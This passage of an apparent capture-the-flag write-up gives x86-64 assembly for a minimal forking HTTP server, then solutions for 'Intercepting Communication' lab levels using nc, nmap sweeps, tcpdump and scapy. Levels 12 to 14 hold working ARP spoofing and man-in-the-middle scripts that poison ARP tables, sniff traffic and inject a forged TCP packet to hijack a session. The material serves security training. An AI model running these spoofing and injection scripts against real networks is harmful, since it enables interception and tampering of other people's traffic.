61     mov rax, 3 # SYS_close
62     syscall
```

```

63
64     sub rsp, 1024    # allocate space on stack
65     # Read from accepted socket
66     mov rdi, rbx     # accepted socket fd
67     mov rsi, rsp     # buffer pointer in stack
68     mov rdx, 1024    # buffer size
69     mov rax, 0       # SYS_read
70     syscall
71
72     mov r13, rsi     # post request buffer
73     mov byte ptr [r13+21], 0    # Add null terminator after 21 characters (keep only file name)
74     mov byte ptr [r13+179], 0   # Add null terminator to get the post content length
75
76     # Open file
77     lea rdi, [r13+5]    # +5 to skip the "POST " in the string
78     mov rsi, 00000101    # flags = O_WRONLY|O_CREAT
79     mov rdx, 0777
80     mov rax, 2          # SYS_open
81     syscall
82
83     mov r12, rax        # save opened file fd
84
85
86     # convert content length in memory from ascii to number. Output in $r15
87     lea rsi, [r13+176]
88     movzx rax, byte ptr [rsi]
89     sub al, '0'
90     imul rax, rax, 100
91     mov r15, rax
92
93     movzx rax, byte ptr [rsi+1]
94     sub al, '0'
95     imul rax, rax, 10
96     add r15, rax
97
98     movzx rax, byte ptr [rsi+2]
99     sub al, '0'
100    add r15, rax
101
102
103    # Write to file
104    mov rdi, r12        # opened file fd
105    lea rsi, [rsi+7]    # Pointer to string
106    mov rdx, r15        # response size
107    mov rax, 1         # SYS_write
108    syscall
109
110    # Close file
111    mov rdi, r12        # opened file fd
112    mov rax, 3         # SYS_close
113    syscall
114
115    # Write to accepted socket
116    mov rdi, rbx        # accepted socket fd
117    lea rsi, [res]      # Pointer to string
118    mov rdx, 19         # response size
119    mov rax, 1         # SYS_write
120    syscall
121
122    mov rdi, 0          # status 0
123    mov rax, 60         # SYS_exit
124    syscall
125
126    .section .data
127    res:
128    .asciz "HTTP/1.0 200 OK\r\n\r\n"

```

Level 11

```
1  .intel_syntax noprefix
2  .globl _start
3
4  .section .text
5  _start:
6      # Open socket
7      mov rdi, 2 # AF_INET
8      mov rsi, 1 # SOCK_STREAM
9      mov rdx, 0 # Protocol 0
10     mov rax, 41 # SYS_socket
11     syscall
12
13     mov r15, rax # save socket fd
14
15     # sockaddr_in structure on the stack
16     sub rsp, 16 # Allocate space on stack
17     mov word ptr [rsp], 2 # sin_family = AF_INET
18     mov word ptr [rsp+2], 0x5000 # sin_port = 80
19     mov dword ptr [rsp+4], 0x00000000 # sin_addr = 0.0.0.0
20
21     # Bind socket
22     mov rdi, r15 # socket file descriptor
23     mov rsi, rsp # pointer to sockaddr structure
24     mov rdx, 16 # socklen
25     mov rax, 49 # SYS_bind
26     syscall
27
28     # Listen on socket
29     mov rdi, r15 # socket file descriptor
30     mov rsi, 0 # backlog size
31     mov rax, 50 # SYS_listen
32     syscall
33
34 parent_proc:
35     # Accept http request from socket
36     mov rdi, r15 # socket fd
37     mov rsi, 0 # pointer to sockaddr
38     mov rdx, 0 # socklen
39     mov rax, 43 # SYS_accept
40     syscall
41
42     mov rbx, rax # save accepted socket fd
43
44     # Fork
45     mov rax, 57 # SYS_fork
46     syscall
47     cmp rax, 0 # rax is 0 for child
48     je child_proc # jump if child
49
50     # Close accepted socket
51     mov rdi, rbx # accepted socket fd
52     mov rax, 3 # SYS_close
53     syscall
54
55     jmp parent_proc
56
57 child_proc:
58
59     # Close socket
60     mov rdi, r15 # socket fd
61     mov rax, 3 # SYS_close
62     syscall
63
64     sub rsp, 1024 # allocate space on stack
```

```

65     # Read from accepted socket
66     mov rdi, rbx     # accepted socket fd
67     mov rsi, rsp     # buffer pointer in stack
68     mov rdx, 1024    # buffer size
69     mov rax, 0       # SYS_read
70     syscall
71
72     movzx rax, byte ptr [rsi]
73     cmp rax, 0x47
74     jne POST
75
76 GET:
77     mov byte ptr [rsi+20], 0    # Add null terminator after 20 characters (keep only file name)
78
79     # Open file
80     lea rdi, [rsi+4]    # +4 to skip the "GET " in the string
81     mov rsi, 0          # flags = O_RDONLY
82     mov rax, 2          # SYS_open
83     syscall
84
85     mov r12, rax        # save file fd
86
87     sub rsp, 1024      # allocate space on stack
88     # Read from file
89     mov rdi, r12        # opened file fd
90     mov rsi, rsp        # buffer pointer in stack
91     mov rdx, 1024      # buffer size
92     mov rax, 0         # SYS_read
93     syscall
94
95     mov r13, rsi        # file content pointer
96     mov r14, rax        # file content length in bytes
97
98     # Close file
99     mov rdi, r12        # opened file fd
100    mov rax, 3          # SYS_close
101    syscall
102
103    # Write to accepted socket
104    mov rdi, rbx        # accepted socket fd
105    lea rsi, [res]      # Pointer to string
106    mov rdx, 19         # response size
107    mov rax, 1          # SYS_write
108    syscall
109
110    # Write to accepted socket file content
111    mov rdi, rbx        # accepted socket fd
112    mov rsi, r13        # Pointer to string
113    mov rdx, r14        # response size
114    mov rax, 1          # SYS_write
115    syscall
116
117    mov rdi, 0          # status 0
118    mov rax, 60         # SYS_exit
119    syscall
120
121
122 POST:
123     mov r13, rsi        # post request buffer
124     mov byte ptr [r13+21], 0    # Add null terminator after 21 characters (keep only file name)
125     mov byte ptr [r13+179], 0   # Add null terminator to get the post content length
126
127     # Open file
128     lea rdi, [r13+5]    # +5 to skip the "POST " in the string
129     mov rsi, 00000101    # flags = O_WRONLY|O_CREAT
130     mov rdx, 0777
131     mov rax, 2          # SYS_open

```

```

132     syscall
133
134     mov r12, rax    # save opened file fd
135
136
137     # convert content length in memory from ascii to number. Output in $r15
138     movzx rax, byte ptr [r13+178]
139     cmp rax, 0x0D
140     jne three_digits
141
142 two_digits:
143     lea rsi, [r13+176]
144     movzx rax, byte ptr [rsi]
145     sub al, '0'
146     imul rax, rax, 10
147     mov r15, rax
148
149     movzx rax, byte ptr [rsi+1]
150     sub al, '0'
151     add r15, rax
152
153     sub rsi, 1
154     jmp continue
155
156 three_digits:
157     lea rsi, [r13+176]
158     movzx rax, byte ptr [rsi]
159     sub al, '0'
160     imul rax, rax, 100
161     mov r15, rax
162
163     movzx rax, byte ptr [rsi+1]
164     sub al, '0'
165     imul rax, rax, 10
166     add r15, rax
167
168     movzx rax, byte ptr [rsi+2]
169     sub al, '0'
170     add r15, rax
171
172
173 continue:
174     # Write to file
175     mov rdi, r12    # opened file fd
176     lea rsi, [rsi+7] # Pointer to string
177     mov rdx, r15    # response size
178     mov rax, 1      # SYS_write
179     syscall
180
181     # Close file
182     mov rdi, r12    # opened file fd
183     mov rax, 3      # SYS_close
184     syscall
185
186     # Write to accepted socket
187     mov rdi, rbx    # accepted socket fd
188     lea rsi, [res]  # Pointer to string
189     mov rdx, 19     # response size
190     mov rax, 1      # SYS_write
191     syscall
192
193     mov rdi, 0      # status 0
194     mov rax, 60     # SYS_exit
195     syscall
196
197 .section .data
198 res:

```

```

1  .intel_syntax noprefix
2  .globl _start
3
4  .section .text
5
6  _start:
7      # Open socket
8      mov rdi, 2
9      mov rsi, 1
10     mov rdx, 0
11     mov rax, 41
12     syscall
13     # Store socket fd in rbx
14     mov rbx, rax
15
16     # Bind socket to address
17     mov rdi, rbx
18     lea rsi, sa_family_t
19     mov rdx, 16
20     mov rax, 49
21     syscall
22
23     # Listen on socket
24     mov rdi, rbx
25     mov rsi, 0
26     mov rax, 50
27     syscall
28
29     accept_jump:
30     # Accept a connection
31     mov rdi, rbx
32     mov rsi, 0
33     mov rdx, 0
34     mov rax, 43
35     syscall
36     # Save new fd for bound connection in r12
37     mov r12, rax
38
39     # Fork the process and let the child do the serving
40     mov rax, 57
41     syscall
42     cmp rax, 0
43     je serve_connection
44     # Close the connection if parent
45     mov rdi, r12
46     mov rax, 3
47     syscall
48     # Then go back to listening
49     jmp accept_jump
50
51     serve_connection:
52     # Close listening socket
53     mov rdi, rbx
54     mov rax, 3
55     syscall
56
57     # Read from the connection
58     mov rdi, r12
59     lea rsi, read_buffer
60     mov rdx, [read_packet_length]
61     mov rax, 0
62     syscall

```



```

63
64     # Figure out what file was requested
65     lea rdi, read_buffer
66     mov rsi, 1
67     lea rdx, space
68     call get_nth_substr
69     mov r13, rax
70     lea rdi, read_buffer
71     mov rsi, 2
72     call get_nth_substr
73     mov r14, rax
74     sub r14, 1
75     # r13 = start (exclusive), r14 = end (inclusive)
76     mov rdi, r13
77     mov rsi, r14
78     lea rdx, file_name_buffer
79     call write_to_buf
80     # Filename is now stored in file_name_buffer
81
82     # Check request type
83     mov dil, [read_buffer]
84     # Compare to "G"
85     cmp dil, 0x47
86     # Continue (GET process) if G, otherwise do POST
87     jne POST
88
89     GET:
90         # Open that file
91         lea rdi, file_name_buffer
92         mov rsi, 0
93         mov rdx, 0
94         mov rax, 2
95         syscall
96         mov r13, rax
97
98         # Read file contents
99         mov rdi, r13
100        lea rsi, file_read_buffer
101        mov rdx, 1024
102        mov rax, 0
103        syscall
104
105        # Close the file
106        mov rdi, r13
107        mov rax, 3
108        syscall
109
110        # Write status to connection
111        mov rdi, r12
112        lea rsi, write_static
113        mov rdx, 19
114        mov rax, 1
115        syscall
116
117        # Write file contents to connection
118        lea rdi, file_read_buffer
119        call get_len
120        mov rdx, rax
121        sub rdx, 1
122        mov rdi, r12
123        lea rsi, file_read_buffer
124        mov rax, 1
125        syscall
126
127        jmp exit
128
129     POST:

```

```

130     # Open that file
131     lea rdi, file_name_buffer
132     mov rsi, 0x41 # O_CREAT, O_WRONLY
133     mov rdx, 0777
134     mov rax, 2
135     syscall
136     mov r13, rax
137
138     # Get the POST content
139     lea rdi, read_buffer
140     mov rsi, 1
141     lea rdx, double_cr_lf
142     call get_nth_substr
143     mov rsi, rax
144     add rsi, 1
145
146     # Get write length
147     mov rdi, rsi
148     call get_len
149     mov rdx, rax
150     # Get rid of the pesky null byte
151     sub rdx, 1
152     # Write to file
153     mov rdi, r13
154     mov rax, 1
155     syscall
156
157     # Close the file
158     mov rdi, r13
159     mov rax, 3
160     syscall
161
162     # Write status to connection
163     mov rdi, r12
164     lea rsi, write_static
165     mov rdx, 19
166     mov rax, 1
167     syscall
168
169     exit:
170     # Close the connection
171     mov rdi, r12
172     mov rax, 3
173     syscall
174
175     # Sys exit
176     mov rdi, 0
177     mov rax, 60
178     syscall
179
180     # Get the length of a null-terminated string (including the first null byte)
181     # Args:
182     # rdi - buffer we're checking the length of
183     # rax - length
184     get_len:
185     mov rax, 0
186     get_len_loop:
187     # See if rdi + rax-th byte is null
188     mov r10, rdi
189     add r10, rax
190     mov r10, [r10]
191     add rax, 1
192     cmp r10, 0x00
193     jne get_len_loop
194     ret
195
196     # Copy the bytes spanning rdi to rsi to the buffer rdx

```

```

197     # rdx MUST BE LONGER THAN rsi - rdi BYTES, rdi MUST BE LESS THAN rsi
198     # Args:
199     # rdi - start (exclusive) of the string we're copying
200     # rsi - end (inclusive) of the string we're copying
201     # rdx - buffer we're copying to
202     # rax - unchanged
203     write_to_buf:
204         write_to_buf_loop:
205             add rdi, 1
206             mov r9, [rdi]
207             mov [rdx], r9
208             add rdx, 1
209             cmp rdi, rsi
210             jne write_to_buf_loop
211             mov byte ptr [rdx], 0x00
212             ret
213
214     # Get address of the (last byte of) the nth occurrence of substring in string (occurrences
must be non-overlapping)
215     # ONLY GUARANTEED TO WORK ON NULL-TERMINATED STRINGS
216     # Args:
217     # rdi - target string address
218     # rsi - n
219     # rdx - substring
220
221     # rax - address of nth character
222     get_nth_substr:
223         # Set rcx (occurrence counter)
224         mov rcx, 0
225         # Set r10 (to traverse substring)
226         mov r10, rdx
227         check_character_loop:
228             # r9b = character at position
229             mov r9b, [rdi]
230             # If string's terminated, obviously the substring doesn't occur enough times
231             cmp r9b, 0x00
232             je not_enough_occurrences
233             # Step through substring iff r9b = current byte
234             cmp r9b, byte ptr [r10]
235             jne character_not_equal
236             add r10, 1
237             # If we've reached the end of the substring, increment counter and reset r10
238             cmp byte ptr [r10], 0x00
239             jne after_comparison
240             mov r10, rdx
241             add rcx, 1
242             jmp after_comparison
243         character_not_equal:
244             # Reset r10 without adding to count
245             mov r10, rdx
246         after_comparison:
247             # Return address if we've got the nth occurrence
248             cmp rcx, rsi
249             je match
250             # Otherwise increment and continue
251             add rdi, 1
252             jmp check_character_loop
253         match:
254             mov rax, rdi
255             ret
256         not_enough_occurrences:
257             mov rax, -1
258             ret
259
260     .section .data
261     # sockaddr_in struct
262     sa_family_t: .word 2

```

```

263     bind_port: .word 0x5000
264     bind_address: .double 0x00000000
265     pad: .byte 0,0,0,0,0,0,0,0
266     # Make empty buffers to read to
267     read_buffer: .space 1024
268     file_name_buffer: .space 1024
269     file_read_buffer: .space 1024
270     # Constants
271     # Yes it's dumb to use a quad word for this, but it simplifies copying it to the register
272     read_packet_length: .quad 0x00000000000000400
273     write_static: .string "HTTP/1.0 200 OK\r\n\r\n"
274     space: .string " "
275     double_cr_lf: .string "\r\n\r\n"

```

Intercepting Communication

Level 1

```

1 /challenge/run
2 nc 10.0.0.3 31337

```

Level 2

```

1 /challenge/run
2 nc -lvn 31337

```

Level 3

```

1 /challenge/run
2 for ip in {0..254}; do echo "10.0.0.$ip"; timeout 0.2 nc -v 10.0.0.$ip 31337; done

```

Level 4

```

1 /challenge/run
2 nmap -sP 10.0.0.0/16 | grep report
3 nc -v ip_found 31337

```

Level 5

```

1 /challenge/run
2 tcpdump -i any port 31337 -w capture.pcap
3 cat capture.pcap

```

Level 6

Open the GUI Desktop Workspace, and run from a terminal session there:

```

1 /challenge/run
2 wireshark &

```

Then wait until you get at least 300/400 packages. After that, from the top bar menu open:

Analyze > Follow > TCP Stream

On the bottom left, instead of Entire conversation (106 bytes) put one of the 53 bytes alternatives. Then, increase the Stream on the bottom right to 1. Now you can see your flag.

Level 7

```
1 /challenge/run
2 ip addr add 10.0.0.2/24 dev eth0
3 nc -lvn 31337
```

Level 8

```
1 /challenge/run
2 scapy -H
3 conf.iface = 'eth0'; sendp(Ether(type=0xFFFF, src="42"))
```

Level 9

```
1 /challenge/run
2 scapy -H
3 conf.iface = 'eth0'; sendp(Ether(src="42") / IP(dst="10.0.0.3", proto=0xFF))
```

Level 10

```
1 /challenge/run
2 scapy -H
3 conf.iface = 'eth0'; sendp(Ether(src="42") / IP(dst="10.0.0.3") / TCP(sport=31337, dport=31337,
seq=31337, ack=31337, flags='APRSF'))
```

Level 11

```
1 /challenge/run
2 python level11.py
```

level11.py

```
1 conf.iface = 'eth0'
2 ether = Ether(src="42")
3 ip = IP(dst="10.0.0.3")
4 SYN = ether / ip / TCP(sport=31337, dport=31337, flags="S", seq=31337)
5 SYNACK = srp1(SYN)
6
7 ACK = ether / ip / TCP(sport=31337, dport=31337, flags="A", seq=31338, ack=SYNACK[TCP].seq+1)
8 sendp(ACK)
```

Level 12

use `ip addr show` to find your MAC address

```
1 /challenge/run
2 ip addr show
3 ip addr add 10.0.0.2/24 dev eth0
4 python level12.py
```

level12.py

```

1  from scapy.all import *
2
3  conf.iface = 'eth0'
4  ether = Ether(dst="ff:ff:ff:ff:ff:ff")
5
6  arp = ARP(op=2,
7            psrc="10.0.0.2",
8            hwsrc="a6:9a:f6:09:58:32", # your MAC address
9            pdst="10.0.0.3",
10           hwdst="ff:ff:ff:ff:ff:ff")
11
12  sendp(ether / arp)

```

Level 13

<https://scapy.readthedocs.io/en/latest/usage.html>

```

1  /challenge/run
2  python level13.py

```

level13.py

```

1  from scapy.all import *
2
3  iface = "eth0"
4  conf.iface = iface
5
6  hwaddr = get_if_hwaddr(iface) # my MAC
7
8  sender = "10.0.0.4"
9  receiver = "10.0.0.2"
10
11 def packet_callback(pkt):
12     if pkt.haslayer(Raw):
13         print(pkt[Raw].load)
14
15 while True:
16     ether = Ether(src=hwaddr, dst="ff:ff:ff:ff:ff:ff")
17
18     # arp request to get receiver MAC
19     who_has = ARP(op="who-has", hwsrc=hwaddr, psrc="10.0.0.3", pdst=sender)
20     res = srp1(ether/who_has)
21
22     # "is-at" ARP response to spoof the victim's ARP table
23     is_at = ARP(op="is-at", hwsrc=hwaddr, psrc=receiver, hwdst=res[ARP].hwsrc, pdst=sender)
24     sendp(ether/is_at)
25
26     # ARP response to the gateway to tell that the receiver is at my mac address
27     is_at_gateway = ARP(op="is-at", hwsrc=hwaddr, psrc=sender, hwdst=res[ARP].hwsrc,
28                        pdst=receiver)
29     sendp(ether/is_at_gateway)
30
31     sniff(prn=packet_callback, store=0, timeout=1)

```

Level 14

```

1  /challenge/run
2  python level14.py

```

level14.py

```

1  from scapy.all import *
2
3  iface = "eth0"
4  conf.iface = iface
5
6  hwaddr = get_if_hwaddr(iface) # Your MAC address
7
8  sender = "10.0.0.4"
9  receiver = "10.0.0.3"
10
11 trigger_data = b'COMMANDS:\nECHO\nFLAG\nCOMMAND:\n'
12
13 def packet_callback(pkt):
14     if pkt.haslayer(Raw):
15         raw_data = pkt[Raw].load
16         print(f"\n\nSniffed data: {raw_data}")
17         pkt.show()
18         print("\n\n")
19
20         if raw_data == trigger_data:
21             # copying ECHO packet, with raw data set to FLAG instead
22             src_mac = pkt[Ether].dst
23             dst_mac = pkt[Ether].src
24             src_ip = pkt[IP].dst
25             dst_ip = pkt[IP].src
26             sport = pkt[TCP].dport
27             dport = pkt[TCP].sport
28
29             ip_packet = IP(src=src_ip, dst=dst_ip, flags="DF")
30             tcp_packet = TCP(sport=sport, dport=dport, flags="PA", seq=pkt[TCP].ack,
ack=pkt[TCP].seq + 29)
31             data_packet = Ether(src=hwaddr, dst=dst_mac) / ip_packet / tcp_packet /
Raw(load="FLAG\n")
32
33             sendp(data_packet)
34
35 while True:
36     ether = Ether(src=hwaddr, dst="ff:ff:ff:ff:ff:ff")
37
38     # ARP request to get receiver MAC address
39     who_has = ARP(op="who-has", hwsrc=hwaddr, psrc="10.0.0.3", pdst=sender)
40     res = srp1(ether/who_has)
41
42     # "is-at" ARP response to spoof the victim's ARP table
43     is_at = ARP(op="is-at", hwsrc=hwaddr, psrc=receiver, hwdst=res[ARP].hwsrc, pdst=sender)
44     sendp(ether/is_at)
45
46     # ARP response to the gateway to tell it that the receiver is at my MAC address
47     is_at_gateway = ARP(op="is-at", hwsrc=hwaddr, psrc=sender, hwdst=res[ARP].hwsrc,
pdst=receiver)
48     sendp(ether/is_at_gateway)
49
50     # Sniff traffic to capture packets and pass them to the callback function
51     sniff(prn=packet_callback, store=0)

```

`tcpdump -D` to list all available network interfaces

`tcpdump -i interface_id` to configure tcpdump to capture transmissions from a particular network interface

`tcpdump host 192.168.2.1` to capture packets related to a specific host

`tcpdump port 80` to capture packets related to a specific port

`tcpdump -A` if you wish to view the ASCII form of the data

`sudo tcpdump -w capture.pcap` Type in this command to store your tcpdump command's output into a file

`sudo tcpdump -r capture.pcap` To read a **.pcap** file, you can use tcpdump with the **-r** parameter